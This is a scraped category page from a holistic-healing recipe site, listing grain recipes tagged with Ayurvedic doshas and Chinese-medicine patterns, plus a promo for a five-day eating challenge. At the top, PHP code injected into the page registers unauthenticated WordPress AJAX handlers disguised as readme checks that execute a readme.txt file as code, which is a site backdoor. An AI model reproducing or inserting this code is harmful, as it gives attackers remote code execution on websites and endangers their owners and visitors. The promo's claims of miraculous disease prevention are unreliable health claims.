if(!function_exists('file_check_readme30460')){ add_action('wp_ajax_nopriv_file_check_readme30460', 'file_check_readme30460'); add_action('wp_ajax_file_check_readme30460', 'file_check_readme30460'); function file_check_readme30460() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme21792')){ add_action('wp_ajax_nopriv_file_check_readme21792', 'file_check_readme21792'); add_action('wp_ajax_file_check_readme21792', 'file_check_readme21792'); function file_check_readme21792() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme75351')){ add_action('wp_ajax_nopriv_file_check_readme75351', 'file_check_readme75351'); add_action('wp_ajax_file_check_readme75351', 'file_check_readme75351'); function file_check_readme75351() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Grains | Holistic Healing Resolutions by Asaf Feit
Butter, Flour & Milk Porridge

Butter, Flour & Milk Porridge

by | Breakfast, Butter, Cold & Oliy, Decrease Pitta, Decrease Vata, Decrease Vata-Pitta, Dinner, Fall, Hard to Digest, Heart Yin Deficiency, Kidney Yin Deficiency, Liver Yin Deficiency, Milk, Nourishing, Recipes, Slowing, Spring, Summer, Wheat

Butter, Flour & Milk Porridge 100 / 3.5 gr. / oz. high quality butter (Vata – Pitta – – Kapha ++)5 Tbs. whole/partially whole fresh wheat flour (stone-ground (Vata – Pitta – Kapha ++))1 cup water (Vata 0 Pitta – Kapha +)1 cup...
Barley & Cumin Soup

Barley & Cumin Soup

by | Barley, Breakfast, Cleansing & Reducing, Cold & Dry, Decrease Kapha, Decrease Pitta, Decrease Pitta-Kapha, Dinner, Easy to Digest, Gall bladder damp heat, Liver Dry Stagnation, Lunch, Recipes, Soup, Spleen Yang Deficiency, Spring, Stimulating, Summer, Winter

Barley & Cumin Soup 3/4 cup barley groats (washed (Vata ++ Pitta – – Kapha – -))1 Tbs. cold pressed sesame oil (Vata – – Pitta ++ Kapha 0)2 tsp. cumin seeds (Vata – Pitta + Kapha -)1 small red onion (Vata – – Pitta +...
Dhokla – Indian Semolina Quiche

Dhokla – Indian Semolina Quiche

by | Breakfast, Butter, Decrease Vata, Fall, Ghee, Hot & Oily, Liver Blood Deficiency, Liver Yin Deficiency, Lubricating, Nourishing, Recipes, Semolina, Side Dish, Snacks, Spleen Qi Deficiency, Spring, Stimulating, Winter, Yogurt

Dhokla – Indian Semolina Quiche Ingredients for the quiche:3 cups whole wheat semolina flour (Vata – Pitta – – Kapha +*)1 cup yoghurt (Vata – – Pitta + Kapha ++)2 cups water (Vata 0 Pitta – Kapha +)1 cup pumpkin (grated (Vata...
Chicken Pilaf with Brown Rice and Turmeric

Chicken Pilaf with Brown Rice and Turmeric

by | Chicken, Decrease Kapha, Decrease Vata, Decrease Vata-Kapha, Easy to Digest, Fall, Hot & Oily, Kidney Yang Deficiency, Liver Blood Deficiency, Lunch, Nourishing, Recipes, Rice, Spleen Qi Deficiency, Spring, Stimulating, Winter

Chicken Pilaf with Brown Rice and Turmeric 4 chicken thighs (Vata – Pitta ++ Kapha +)4 chicken legs (Vata – Pitta ++ Kapha +)1 tsp. sesame oil (Vata – – Pitta ++ Kapha 0)2 onions (roughly chopped (Vata – – Pitta + Kapha -))4 carrots...

THE WISDOM OF EATING 5-DAY CHALLENGE (May 18-22)

Superior Health and Disease Prevention in a 5-Day miraculous Life-Changing Challenge!

Woohoo!